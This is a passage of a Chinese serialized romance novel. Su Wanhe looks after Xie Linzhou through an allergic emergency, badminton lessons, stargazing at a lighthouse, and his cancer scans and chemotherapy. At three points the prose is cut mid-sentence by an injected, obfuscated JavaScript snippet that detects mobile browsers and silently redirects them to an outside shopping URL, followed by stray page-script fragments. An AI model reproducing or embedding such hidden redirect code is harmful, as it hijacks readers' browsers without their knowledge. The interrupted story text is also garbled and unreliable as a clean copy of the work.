两人在书桌旁坐下,安静地喝粥。 粥确实很鲜,米煮得软烂,海鲜也嫩。 苏晚禾喝了几口,抬眼看他:“好喝吗?” “好喝。”谢临洲说,“谢谢。” “不客气。”苏晚禾笑了,“下次我再学别的。” 喝完一碗,谢临洲又盛了一碗。 苏晚禾注意到他吃得很慢,但把一碗都喝完了。 “够吗?还有。”她说。 “够了。”谢临洲放下碗,“很好吃。” 两人聊了会儿天,主要是苏晚禾讲康复操在疗养院的受欢迎程度,谢临洲安静地听。 九点半,苏晚禾起身告辞。 “保温桶我明天来拿。”她说。 “好。” “那你早点休息。” “嗯。” 离开谢临洲家,苏晚禾心情很好。 她哼着歌回疗养院,路上还在想下次煮什么,鱼汤?鸡汤?还是排骨汤? 凌晨两点,她被手机铃声吵醒。 迷迷糊糊接起来,电话那头是谢临洲的声音,比平时更低沉:“苏晚禾......” “怎么了?”她瞬间清醒。 “我......不太舒服。”谢临洲的声音有些喘,“我好像过敏,起了疹子,痒,呼吸也有点......困难。” 苏晚禾猛地坐起来:“你海鲜过敏?” “可能......” “我马上过来!” 她抓起外套冲出门,一路跑到镇西。 谢临洲家门没锁,她推门进去,看见他坐在床边,呼吸急促,脸上、脖子上都起了大片红疹。 “你吃药了吗?”苏晚禾冲过去。 “吃了抗过敏药......没用。”谢临洲说话有点费力。 “去医院!”苏晚禾当机立断,“能走吗?” “应该......” 她扶他站起来。 谢临洲脚步虚浮,几乎靠在她身上。 苏晚禾咬咬牙,半扶半架地带着他往外走。 凌晨的街道空无一人。 云港镇医院在码头附近,走路要十五分钟。 苏晚禾扶着谢临洲,走得很慢。 她能感觉到他全身都在发烫,呼吸越来越急。 “坚持住,快到了。”她不停地说。 终于到了医院急诊室。 值班医生一看谢临洲的情况,立刻安排抢救。 “海鲜过敏,喉头水肿,要上激素和肾上腺素。”医生快速说着,护士开始准备药物。 苏晚禾被拦在抢救室外。 她坐在走廊的长椅上,看着门上的红灯亮起,脑子里一片空白。 都怪她。 如果不是她煮海鲜粥,他就不会过敏。 如果不是她自作主张送什么补品,他现在应该好好在家睡觉。 她抱住头,手指插进头发里。 肩膀上的旧伤突然开始疼,但她没在意。 半小时后,医生出来了。 “病人情况稳定了。”医生说,“送得及时,再晚点可能就危险了。你是他家属?” “朋友。”苏晚禾站起来,“我能看他吗?” “在留观室,可以去看,但别太久,他要休息。” 苏晚禾走进留观室。 谢临洲躺在病床上,脸上红疹还没完全退,但呼吸平稳了。 他闭着眼睛,手背上扎着点滴。 她轻轻在床边坐下。 过了几分钟,谢临洲睁开眼睛。 看见她,他微微动了动嘴唇:“你还在。” “嗯。”苏晚禾声音有点哑,“对不起......” “不怪你。”谢临洲说,“我自己也不知道海鲜过敏。” “你应该告诉我的。” “我也不知道。”谢临洲说得很慢,“以前吃海鲜没事。可能是最近免疫力下降,体质变了。” 苏晚禾不说话了。 她看着点滴瓶里的液体一滴一滴往下落,在静夜里发出轻微的声响。 “你回去吧。”谢临洲说,“我没事了。” “我陪你。” “不用。” “我就要陪。” 两人对视了一会儿。 谢临洲叹了口气:“随你。” 后半夜,苏晚禾就坐在病床边。 护士进来查了几次房,看她还在,也没赶她。 凌晨四点,谢临洲睡着了。 苏晚禾靠在椅背上,也迷迷糊糊睡了过去。 早上六点,她被护士叫醒。 “小姑娘,回去休息吧。”护士轻声说,“病人情况稳定,等点滴打完就能出院了。” 苏晚禾揉了揉眼睛:“几点能打完?” “八点左右。” “那我八点再来。” 她回到疗养院,洗了把脸,换了身衣服。 七点半,她去食堂打包了两份早餐,又去了医院。 谢临洲已经醒了,正靠着床头看窗外。 疹子退了不少,但脸色还是不好。 “早餐。”苏晚禾把袋子放在床头柜上,“白粥,馒头,咸菜,绝对没海鲜。” 谢临洲看着她,没说话。 “吃啊。”苏晚禾把粥端出来,“还是你要我喂?” “不用。”谢临洲接过粥碗,慢慢喝起来。 苏晚禾自己也吃了一份。 两人沉默地吃完早餐,护士进来拔针。 “可以出院了。”护士说,“回去注意休息,按时吃药。海鲜暂时别碰了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930145|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道了,谢谢。” 离开医院,两人慢慢往回走。 早晨的阳光很好,海风清爽。 “对不起。”苏晚禾又说了一遍。 “你已经说过了。”谢临洲说,“而且粥真的很好喝。” “差点害死你的粥?” “除了让我进医院这部分,其他都很好。” 苏晚禾被他逗笑了,但笑到一半又想哭。 她别过头,吸了吸鼻子。 “我真的吓死了。”她小声说。 “我知道。”谢临洲说,“我也吓到了。” 走到谢临洲家楼下,苏晚禾说:“这几天我每天来给你送饭,直到你完全好。” “不用......” “用。”苏晚禾很坚持,“我要赎罪。” 谢临洲看了她一会儿,点点头:“好。” 接下来三天,苏晚禾真的每天来送饭。 早餐是疗养院食堂的包子馒头,午餐是她自己学着做的清淡小菜,晚餐是张阿姨帮忙熬的各种汤——鸡汤、排骨汤、蔬菜汤,绝对没有海鲜。 谢临洲恢复得很快,疹子第二天就退了,只是人还有点虚。 第三天晚上,苏晚禾送完饭准备走,谢临洲叫住她。 “这个给你。”他递过来一个小盒子。 苏晚禾打开,里面是一个小小的海豚挂坠,银色的,做工精致。 “这是......” “谢礼。”谢临洲说,“谢谢你照顾我。” “可我害你进医院了......” “那也是因为我自己的体质。”谢临洲说,“而且,你煮的粥确实是我这段时间吃过的最好的东西。” 苏晚禾看着手里的海豚挂坠,眼眶有点热。 “我给你戴上?”谢临洲问。 “嗯。” 谢临洲拿起挂坠,走到她身后。 他的手指碰到她的后颈,有点凉。 扣好扣子,海豚挂坠垂在她锁骨下方,凉凉的。 “好看吗?”苏晚禾低头看。 “好看。” 两人都沉默了。 窗外传来海鸥的叫声。 “下周我就能去球馆了。”谢临洲说。 “急什么,多休息几天。” “躺够了。”谢临洲说,“再躺下去,关节都僵了。” “那......下周一?”苏晚禾问。 “下周一。” 离开谢临洲家,苏晚禾慢慢走回疗养院。 她摸着胸前的海豚挂坠,金属已经被她的体温捂暖了。 回到房间,她坐在桌前,拿出日记本,这是她来云港后开始写的,断断续续。 今天她写了很多: “差点害谢临洲出事。吓死我了。 但他不怪我,还送我礼物。 海豚挂坠,很漂亮。 他说粥很好喝。 下次我要学更多菜,但要先确认他不吃什么。 不能再让他进医院了。 绝对不能。” 写完,她合上日记本,看向窗外。 夜色渐深,灯塔的方向亮着微弱的光。 她想,等谢临洲完全好了,他们还要去看星星,去打球,去游泳。 还要完成漂流瓶的愿望清单。 还要做很多很多事。 她摸了摸海豚挂坠,笑了。 而在镇西的旧居民楼里,谢临洲也在日记本上写: “海鲜过敏进医院。 苏晚禾送来的。 她守了一夜。 这几天她天天来送饭。 送我海豚挂坠当谢礼。 其实该说谢谢的是我。 谢谢她在意我。 谢谢她照顾我。 谢谢她......还在。 下周去球馆。 继续教她打球。 继续。” 写完,他放下笔,看向桌上的座头鲸玩偶。 玩偶的黑眼珠在台灯下反着光,像是在看他。 他轻声说:“我没事。” 窗外,潮声温柔。 一夜安眠。 14. 秋·靠近 周一下午三点,苏晚禾推开旧球馆的门,看见谢临洲已经在做热身了。 他恢复得不错,脸色虽然还有点苍白,但动作已经恢复往日的流畅。 看见她进来,他点了点头:“来了。” “教练好!”苏晚禾故意大声说,“今天学什么?” “高远球进阶。”谢临洲拿起球拍,“上周教你基础动作,这周练落点控制。” 他走到场地一端,发了个高远球。 球划出漂亮的弧线,精准地落在对面场地的底线附近。 “要控制球落在哪个区域。”谢临洲说,“单打时,尽量把球打到对方后场两个角落,调动对方跑动。” 苏晚禾试了试。 第一个球出界了,第二个球太短,第三个球总算落在后场,但位置很正。 “别急。”谢临洲把球捡回来,“想象场地上有九个格子,像九宫格。你要打到特定的格子里。” 这个比喻让苏晚禾想起了泳池的泳道线。 她点点头,继续练习。 练了半小时,她渐渐找到了感觉。 球开始听话了,虽然还不能精确控制,但至少不会乱飞。 休息时,两人坐在墙边喝水。 苏晚禾突然想起什么:“对了,你上周说这周教我认秋季星座?” “嗯。”谢临洲看了眼窗外,“今晚天气好,适合观星。” “在灯塔?” “在灯塔。” 晚上七点半,苏晚禾准时到达灯塔。 谢临洲已经到了,正在调试望远镜。 塔顶的桌子上摊开了一张大大的星图,上面密密麻麻标着星座和星星的名字。 “这么多啊。”苏晚禾凑过去看。 “秋季星空主要星座有飞马座、仙女座、英仙座,虽然英仙座流星雨过了,但星座还在。”谢临洲指着星图,“还有水瓶座、双鱼座、鲸鱼座......” “鲸鱼座?”苏晚禾眼睛一亮,“和真的鲸鱼有关系吗?” “没有,只是个名字。”谢临洲说,“古希腊神话里的海怪,被英雄珀尔修斯杀了,就成了星座。” “哦......”苏晚禾有点失望,“我还以为有什么浪漫故事呢。” “星座故事大部分都是打打杀杀。”谢临洲说,“浪漫的不多。” 他调好望远镜:“先看飞马座。看见那个大方块了吗?” 苏晚禾凑近目镜。 夜空中,四颗亮星组成一个明显的四边形。 “那就是飞马座的主要特征,飞马座四边形。”谢临洲说,“从那里可以找到其他星座。” 他教她如何用飞马座定位仙女座,再用仙女座找英仙座。 苏晚禾努力记着,但星星太多了,她很快就搞混了。 “我记不住。”她直起身,揉了揉眼睛,“这些星星长得都一样。” “每个星座都有特征。”谢临洲耐心地说,“飞马座是大方块,仙女座像个歪斜的W,英仙座像个人举着剑......” “还是记不住。”苏晚禾叹了口气,“我能用我的方法记吗?” “什么方法?” 苏晚禾看着星图,突然灵机一动:“游泳姿势!” “什么?” “你看啊,”她指着飞马座,“这四颗星,像不像自由泳的划水轨迹?左臂,右臂,左臂,右臂......”她在空中比划着,“然后仙女座那个W,像蛙泳的腿部动作,收,翻,蹬,夹......” 她越说越兴奋:“英仙座那个举剑的姿势,像蝶泳的出发动作!还有那个......那个什么座来着?” “水瓶座。” “对,水瓶座!像仰泳的转身蹬壁!” 谢临洲看着她手舞足蹈地比划,眼里渐渐有了笑意。 “所以,”苏晚禾总结,“我可以用游泳姿势记星座。看见自由泳轨迹就是飞马座,看见蛙泳腿就是仙女座,看见蝶泳出发就是英仙座。” “那你游个仰泳我看看?”谢临洲说。 “仰泳是......”苏晚禾想了想,“水瓶座!你看那几颗星连起来,是不是像人在水里仰着游?” 她指着星图上水瓶座的连线。 别说,还真有点像。 谢临洲忍不住笑了:“你这方法......很独特。” “但管用啊。”苏晚禾得意地说,“你要不要试试?这样记很快的。” “好,你教我。” 接下来半小时,苏晚禾当起了“星座游泳教练”。 她对着星图,把每个星座都编成了对应的泳姿,还配上动作讲解。 “这颗星到这颗星,是划水路径,要用核心发力......” “这里转身,要快,要干脆......” “这里打腿,频率要快......” 谢临洲认真听着,居然真的记住了几个。 当苏晚禾问他“那个像蛙泳腿的是什么座”时,他很快回答:“仙女座。” “对了!”苏晚禾鼓掌,“看,很管用吧?” “嗯。”谢临洲点头,“很管用。” 九点左右,他们结束了“星座课”。 谢临洲开始收拾设备,苏晚禾趴在窗边看海。 夜色中的海面黑沉沉的,只有月光照出一片银色的波光。 “谢临洲。”她突然说。 “嗯?” “我们玩个游戏吧。” “什么游戏?” “游泳接力。”苏晚禾转过身,“但不是真的游泳。我们想象一个接力赛,你游第一棒,我游第二棒。你描述你的动作,我描述我的动作,看我们能不能‘游’完一个完整的接力。” 谢临洲看着她发亮的眼睛,点了点头:“好。” “那你先来。”苏晚禾站直,“你是自由泳对吧?出发!” 谢临洲想了想,开始描述:“出发台,弯腰,准备......笛声!蹬台,入水,水下滑行......出水,开始划水。左臂,右臂,呼吸,左臂,右臂......” 他描述得很细致,像真的在游。 苏晚禾闭上眼睛,想象那个画面:谢临洲在水里,手臂划开水面,水花四溅。 “到边了。”谢临洲说,“触壁,转身,蹬壁......第二棒交给你。” 苏晚禾睁开眼睛:“接棒!我是蝶泳。” 她开始描述:“入水,海豚式打腿,出水,第一次划臂——啪!第二次划臂——啪!呼吸,低头,继续......” 她一边说一边做动作,虽然幅度很小,但能看出蝶泳的韵律。 谢临洲静静看着,眼神专注。 “到边了!”苏晚禾说完最后一个动作,喘了口气,“怎么样?我们‘游’完了。” “游得很好。”谢临洲说。 “那是,我们可是专业运动员。”苏晚禾擦了擦额头上不存在的汗,“虽然是想象的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930146|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两人都笑了。 塔顶很安静,只有海风和远处潮声。 “其实我挺想看你真的游泳。”谢临洲突然说。 “等我能游了,第一个表演给你看。”苏晚禾说,“五十米自由泳,你计时。” “好。” “那你呢?”苏晚禾问,“你想再打一次真正的比赛吗?” 谢临洲沉默了几秒:“想。但可能没机会了。” “为什么?” “体力跟不上。”谢临洲说得很平静,“打一局完整的比赛需要很好的体能,我现在......做不到。” 苏晚禾想起他在球馆对着墙一遍遍挥拍的样子,心里一紧。 “那就在想象里打。”她说,“就像我们刚才‘游泳’一样。” 谢临洲看着她。 “我们可以想象一场比赛。”苏晚禾继续说,“你描述你的每一个球,我当你的对手。我们‘打’一场。” “现在?” “现在。” 谢临洲想了想,拿起球拍,虽然只是空挥。 他站到场地中央,虽然塔顶没有场地线。 “发球。”他说,“高远球,到对方后场。” 苏晚禾站到他对面:“我接球,吊网前。” “我上网,搓球。” “我挑后场。” “我后退,杀球——” 他做了一个杀球动作,手臂用力下压。 虽然是空挥,但动作标准,力量感十足。 苏晚禾想象那颗球重重地砸在地上。 “得分。”她说。 谢临洲放下球拍,微微喘气。 只是几个动作,他已经有点累了。 “休息一下。”苏晚禾说。 他们又坐回垫子上。 苏晚禾看着谢临洲苍白的脸,突然说:“等你好一点,我们真的打一场吧。就打几个球,不计分,就打着玩。” “好。”谢临洲说。 那晚他们待到很晚。 离开灯塔时,苏晚禾抬头看了看星空。 现在她能认出飞马座和仙女座了,用她的“游泳姿势记忆法”。 “下周还来吗?”她问。 “来。”谢临洲说,“教你认冬季星座。” “冬季有什么?” “猎户座,金牛座,双子座......”谢临洲顿了顿,“还有天狼星,夜空中最亮的恒星。” “那我要提前想好对应的泳姿。”苏晚禾说,“猎户座......像混合泳?四种泳姿都有?” “你可以慢慢想。” 走到岔路口,两人分开。 苏晚禾回疗养院的路上,一直在抬头看星星。 夜空很清晰,她找到了飞马座的大方块,然后顺着找到了仙女座。 真的像蛙泳腿。 她笑了。 回到房间,她在日历上做了标记:周三,灯塔,冬季星座。 然后她拿出笔记本,画了几个歪歪扭扭的星座图,旁边标注着对应的泳姿。 画到一半,她停下来,看着窗外。 灯塔的方向有微弱的光。 她想,等冬天来了,他们要一起看猎户座。 等春天来了,也许她的肩膀就好了,可以真的游泳了。 等夏天再来的时候...... 她没继续想下去。 窗外,潮声温柔。 一夜好梦。 15. 秋·靠近 周五下午两点,苏晚禾准时推开旧球馆的门。 谢临洲已经在热身了,看见她进来,停下动作:“今天不学新内容。” “那干嘛?” “考试。” 苏晚禾愣了一下:“什么考试?” “看看你学得怎么样。”谢临洲递给她球拍,“我们打一场。七个球,谁先到七谁赢。” 苏晚禾接过球拍,有点紧张:“可我就会那么几招......” “够了。”谢临洲走到场地另一边,“发球。” 苏晚禾深吸一口气,站到发球线后。 她按照谢临洲教的方法:侧身,举拍,抛球,击球。 球过网了,落点不算深,但至少是个合格的发球。 谢临洲轻松接起,回了个高远球。 球又高又远,苏晚禾赶紧后退,勉强把球打回去。 “脚步太慢了。”谢临洲说,“要预判。” 他又回了个球,这次是网前。 苏晚禾冲上前,勉强把球挑起来。 谢临洲一跃而起——杀球。 球重重地砸在她脚边。 “1:0。”谢临洲说。 苏晚禾咬了咬嘴唇:“继续。” 第二球,她发了个质量不错的球。 谢临洲回了个平高球,她侧身接住,回了个斜线。 两人打了几个回合,最后苏晚禾一个失误,球出界了。 “2:0。” 第三球,苏晚禾开始找到感觉了。 她注意到谢临洲的回球路线——总是打到她最不舒服的位置,逼她移动。 她试着提前移动,果然接得更轻松了。 这一球打了十几个回合,最后苏晚禾抓住机会,一个轻吊网前得分。 “2:1!”她兴奋地跳起来。 谢临洲点点头:“有进步。” 接下来的比赛变得激烈起来。 苏晚禾逐渐适应了节奏,脚步移动更快了,回球也更稳定。 谢临洲明显收了力,但他的经验和技术还是碾压级的。 比分交替上升:3:1,3:2,4:2,4:3...... 第六球时,苏晚禾打出了一个漂亮的回球——谢临洲杀球,她居然接住了,还回了个后场球。 谢临洲跑到位,回了个网前。苏晚禾上网,轻轻一挑—— 球擦着网过去,落在谢临洲的场地里。 “4:4!”她喘着气喊。 最后一个球。 苏晚禾发球,谢临洲回了个特别刁钻的角度。 她侧身救球,勉强把球打回去。 谢临洲再次杀球—— 这次她没接住。 球重重砸在地上,弹起,滚到场边。 “5:4。”谢临洲说,“我赢了。” 苏晚禾撑着膝盖喘气。 她浑身是汗,肩膀酸得厉害,但心里很畅快。 “我......我打得怎么样?”她抬头问。 “很好。”谢临洲走过来,“脚步比刚开始快多了,回球也有想法。就是体力差了点,打到后面动作变形了。” “那你呢?”苏晚禾直起身,“你没用全力吧?” “用了七成。”谢临洲诚实地说。 “才七成?”苏晚禾瞪大眼睛,“那你要用全力,我不是一分都拿不到?” “现在是这样。”谢临洲说,“但你再练三个月,能拿两三分。” “就两三分?” “我是省队主力。”谢临洲说,“你练三个月能从我这拿两三分,已经很不错了。” 苏晚禾想了想,好像也是。 她擦了把汗:“那赌注呢?赛前你说谁赢谁可以提一个要求。” 谢临洲顿了顿:“我还没想好。” “那先欠着。”苏晚禾说,“等你想好了告诉我。” 两人在场边坐下喝水。 球馆里很安静,只有他们的呼吸声和远处隐约的海浪声。 “你的体力......”苏晚禾犹豫了一下,“是不是比之前更差了?” 谢临洲沉默了几秒:“嗯。最近容易累。” “因为过敏吗?” “不是。”谢临洲说,“病情有进展。” 他说得很平静,但苏晚禾心里却像被什么东西攥紧了。 “那......治疗呢?” “在做。”谢临洲说,“但效果不明显。” 苏晚禾不知道该说什么。 她低头看着手里的水瓶,塑料瓶身上凝结的水珠一颗颗滑下来。 “下周一我复查。”谢临洲突然说。 “什么时候?” “上午。” “我陪你去?” 谢临洲看了她一眼:“你不是要复健吗?” “可以请假。”苏晚禾说,“王医生会理解的。” 谢临洲想了想,点点头:“好。” 周一早上八点半,苏晚禾在疗养院门口等谢临洲。 他准时出现,穿着简单的白衬衫和黑裤子,手里拿着病历袋。 “紧张吗?”苏晚禾问。 “习惯了。”谢临洲说。 两人走到镇医院。 今天人不多,很快就叫到了谢临洲的号。 苏晚禾坐在走廊的长椅上等,看着墙上的健康宣传海报。 半小时后,谢临洲出来了,手里拿着几张新开的检查单。 “怎么样?”苏晚禾站起来。 “要做几个检查。”谢临洲看了眼单子,“血常规,CT,骨扫描。” “现在做?” “嗯。” 他们先去抽血。 护士手法很熟练,针扎进谢临洲手臂时,他连眉头都没皱一下。 苏晚禾却看得心里一紧。 接着是CT室。 谢临洲进去前,回头看了她一眼:“你在外面等,很快。” 门关上了。 苏晚禾在走廊里来回踱步,墙上的时钟指针走得很慢。 十五分钟后,门开了。 谢临洲走出来,脸色比进去前更苍白。 “还好吗?”苏晚禾上前扶他。 “有点晕。”谢临洲说,“造影剂反应。” 他们在椅子上坐了一会儿。 等谢临洲缓过来,又去了核医学科做骨扫描。 这个检查时间更长,要等放射性药物在体内分布。 “你先回去吧。”谢临洲说,“这个要等两小时。” “我陪你等。” “不用......” “我就要陪。” 谢临洲看着她坚持的表情,叹了口气:“随你。” 等待室里有几个同样做检查的病人。 有的在看书,有的在玩手机,有的闭目养神。 苏晚禾和谢临洲坐在角落里,小声聊天。 “你平时在医院都做什么?”苏晚禾问。 “看书,听音乐,或者就是发呆。”谢临洲说,“有时候看窗外的树。” “树?” “医院院子里有棵老槐树。”谢临洲说,“我每次来都看它,看它叶子绿了又黄,黄了又落,落了又绿。” 苏晚禾想象那个画面:谢临洲坐在医院里,看着窗外一棵树,日复一日。 “你......害怕吗?”她轻声问。 谢临洲沉默了很久。 “有时候怕。”他终于说,“特别是晚上疼得睡不着的时候。但大部分时间......习惯了。” “习惯什么?” “习惯可能没有未来的生活。” 这话说得很轻,但落在苏晚禾耳朵里很重。 她想说什么,却发不出声音。 广播叫到谢临洲的名字。他站起来:“该我了。” 骨扫描做了四十分钟。 出来时,谢临洲看起来很疲惫。 “回家吧。”苏晚禾说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930147|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” 回去的路上,两人走得很慢。 阳光很好,街上人来人往,一切都是平常的样子。 但苏晚禾觉得,有什么东西不一样了。 走到谢临洲家楼下,她停下脚步。 “结果什么时候出来?” “后天。” “我来陪你拿。” 谢临洲看着她,眼神很复杂。 他张了张嘴,想说不用,但最终只是点了点头:“好。” “那后天见。” “后天见。” 苏晚禾看着谢临洲上楼,直到他房间的灯亮起,才转身离开。 回到疗养院,她没回房间,直接去了泳池。 下午的泳池没人,她换了泳衣下水。 水很凉,她打了个哆嗦。 然后她开始慢慢地游——不是复健的那种慢动作,而是真正的游泳,虽然速度很慢,动作幅度很小。 自由泳。 左臂划水,右臂划水,呼吸。 她游了一个来回,五十米。 肩膀有点酸,但不疼。 她趴在池边喘气,看着水面上的波光。 她想,等谢临洲的检查结果出来,如果是好消息,她就告诉他,她能游了。 如果是坏消息......她也告诉他,她能游了。 至少给他一点好消息。 周三下午,苏晚禾陪谢临洲去医院拿结果。 医生办公室里,主治医生看着电脑上的影像,表情严肃。 “病灶有进展。”医生指着屏幕,“这里,还有这里,新出现了几个高代谢区域。” 谢临洲静静地听着,脸上没什么表情。 “化疗方案需要调整。”医生说,“下个月开始新疗程,强度会更大,副作用也会更明显。你要有心理准备。” “明白。” “另外......”医生停顿了一下,“疼痛如果加剧,要及时说,我们可以调整止痛方案。” “好。” 从办公室出来,苏晚禾一直沉默。 走到医院门口,她才开口:“新疗程......会很辛苦吗?” “嗯。”谢临洲说,“但习惯了。” 又是习惯了。苏晚禾心里堵得慌。 “下个月什么时候开始?” “下周三。” “我陪你去。” 这次谢临洲没拒绝。 他们走回镇西。 路上经过旧球馆,谢临洲停下脚步。 “进去坐坐?”他问。 “好。” 球馆里还是老样子,空荡,安静。 两人在场地中央坐下,背靠着背。 “苏晚禾。”谢临洲突然说。 “嗯?” “我赢了比赛,可以提要求,对吧?” “对。” “我的要求是......”谢临洲顿了顿,“陪我复查。以后每次复查,都陪我。” 苏晚禾愣住了。 “就这个?” “就这个。” 她鼻子一酸,用力点头:“好。我陪你。每次都陪你。” 两人安静地坐着。 阳光从破旧的窗户照进来,在地上投出斑驳的光影。 远处传来海鸥的叫声,和海浪的声音。 “苏晚禾。”谢临洲又叫她。 “又干嘛?” “等我好一点,我们再打一场。” “好。”苏晚禾说,“到时候我一定赢你。” 谢临洲很轻地笑了:“我等着。” 他们在球馆坐到太阳西斜。 离开时,苏晚禾回头看了一眼。 空荡的场地,斑驳的墙壁,破旧的球网。 但她记住了今天的比赛,记住了比分,记住了每一个球。 也记住了谢临洲的要求。 陪他复查。 每次都陪。 她会的。 16. 秋·靠近 周三清晨,谢临洲在镇医院门口等苏晚禾。 他穿着宽松的灰色运动服,左手腕上戴着住院腕带,右手拎着一个小小的行李包。 天刚蒙蒙亮,晨风带着海水的咸湿气息,街上行人稀疏。 苏晚禾从疗养院方向跑来,气喘吁吁地在他面前刹住车:“没、没迟到吧?” “没有。”谢临洲看了眼手表,“还早。” 今天是他新化疗疗程的第一天,需要办理住院手续。 苏晚禾昨天就跟王医生请了假,说要陪朋友一整天。 “东西都带齐了吗?”她问。 “齐了。” “书呢?” “带了。” “耳机?” “带了。” “毯子?” “带了。”谢临洲忍不住笑了,“你问得比我妈还细。” “那当然,我是你的......”苏晚禾卡壳了,想不出合适的词,“......陪护专员。” 两人走进医院。 住院部在五楼,肿瘤科病区。 走廊里弥漫着消毒水的气味,护士站的电子屏上滚动着患者姓名和床号。 谢临洲被安排在23床,靠窗。 病房里还有两个患者,都是中年人,正在看早间新闻。 “你先坐,我去办手续。”护士对谢临洲说,又看了眼苏晚禾,“家属?” “朋友。”苏晚禾说。 “那麻烦你在外面等会儿,医生要查房。” 苏晚禾点点头,退到走廊。 她靠在墙边,看着护士进进出出,听着病房里隐约的交谈声。 这里的空气比楼下更沉重,每个人脸上都带着相似的疲惫。 半小时后,护士出来叫她:“可以进去了。” 谢临洲已经换上了病号服,靠坐在床头。 护士正在给他扎留置针,准备输液。 针头刺进手背的血管时,他微微皱了下眉,但很快恢复平静。 “今天先输保肝保胃的药,下午开始化疗药。”护士调整着滴速,“有什么不舒服及时说。” “好。” 护士离开后,病房里安静下来。 谢临洲闭上眼睛,似乎在休息。 苏晚禾在床边的椅子上坐下,不知道该做什么。 “你可以回去。”谢临洲闭着眼睛说。 “我不。” “会很无聊。” “我不怕无聊。” 谢临洲睁开眼看了看她,没再说话。 输液持续了三个小时。 苏晚禾从背包里掏出书,她特意带的一本海洋生物图鉴,想着谢临洲会喜欢。 但她自己先看了起来,碰到有趣的地方就轻声读给他听。 “你知道吗,章鱼有三个心脏。” “嗯。” “蓝鲸的舌头比一头大象还重。” “嗯。” “海豚睡觉时只有一半大脑休息,另一半保持警惕。” “嗯。” 她读着读着,发现谢临洲呼吸变得均匀——他睡着了。 苏晚禾放下书,看着他。 睡着的谢临洲看起来更年轻,也更脆弱。 睫毛在眼睑下投出浅浅的影子,嘴唇没什么血色。 留置针的手背已经有些肿,皮肤透出青紫色的血管。 她轻轻站起来,给他掖了掖被角。 下午一点,化疗药开始输注。 护士来交代注意事项:“可能会恶心、呕吐,如果吐了要及时清理。胃口不好也要尽量吃,可以少食多餐。” 谢临洲点点头,表情平静,像是早就知道这些。 药水滴得很慢,要持续四个小时。 苏晚禾继续给他读书,但他精神明显差了,经常听着听着就闭上眼睛。 三点左右,谢临洲第一次出现反应。 他突然坐起来,脸色煞白,苏晚禾赶紧把垃圾桶递过去。 他干呕了几声,没吐出什么,但额头上全是冷汗。 “要叫护士吗?”苏晚禾紧张地问。 “不用。”谢临洲声音沙哑,“正常的。” 他重新躺下,闭着眼睛,胸口微微起伏。 苏晚禾用湿毛巾给他擦汗,动作很轻。 四点半,输液终于结束。 护士拔掉针头,谢临洲的手背已经肿起一个包。 “冰敷一下。”护士递来冰袋,“明天继续。” 谢临洲用左手按住冰袋,右手无力地垂在床边。 他看起来很累,连说话的力气都没有。 “睡会儿吧。”苏晚禾轻声说。 他点点头,闭上眼睛。 苏晚禾坐在床边,看着窗外。 天色渐渐暗下来,病房里开了灯。 另外两个患者在看电视,音量调得很小。 六点,谢临洲醒来。 他看起来稍微好了些,但脸色依然苍白。 “饿吗?”苏晚禾问。 “不饿。” “多少吃点?” 谢临洲摇摇头。 苏晚禾还是从包里拿出保温桶,这是她趁着谢临洲睡觉的时候去买的。 “就吃几口。”她把粥盛出来,“不吃东西会更难受。” 谢临洲勉强坐起来,接过碗。 他吃得很慢,像在完成什么艰难的任务。 苏晚禾在旁边看着,心里难受,但脸上保持微笑。 “好吃吗?” “嗯。” “那再吃两口。” 谢临洲真的又吃了两口,然后放下碗:“饱了。” 苏晚禾没再勉强。 她收拾好碗筷,看了眼窗外已经完全暗下来的天色。 “你该回去了。”谢临洲说。 “还早。” “晚了不安全。” “我......” “回去吧。”谢临洲看着她,“明天再来。” 苏晚禾咬了咬嘴唇,点点头:“那我明天早上来。” “好。” 离开病房时,苏晚禾回头看了一眼。 谢临洲靠坐在床头,看着窗外。 病房的灯光在他脸上投下阴影,整个人显得很孤单。 回到疗养院,苏晚禾直接去了厨房。 张阿姨正在收拾,看见她,关切地问:“你朋友怎么样?” “不太好。”苏晚禾说,“化疗反应很大,吃不下东西。” “正常,都这样。”张阿姨叹了口气,“你明天还去?” “去。” “那我想想做什么容易入口的......”张阿姨想了想,“山药粥?或者蒸蛋羹?” “都行,谢谢阿姨。” 第二天早上七点,苏晚禾带着山药粥到了医院。 谢临洲看起来比昨天更差,眼下一片青黑。 “没睡好?”她问。 “嗯。”谢临洲简短地回答,“疼。” 苏晚禾心里一紧,但没表现出来。 她把粥倒出来:“先吃点东西,等下还要输液。” 今天的流程和昨天一样,只是谢临洲的反应更严重了。 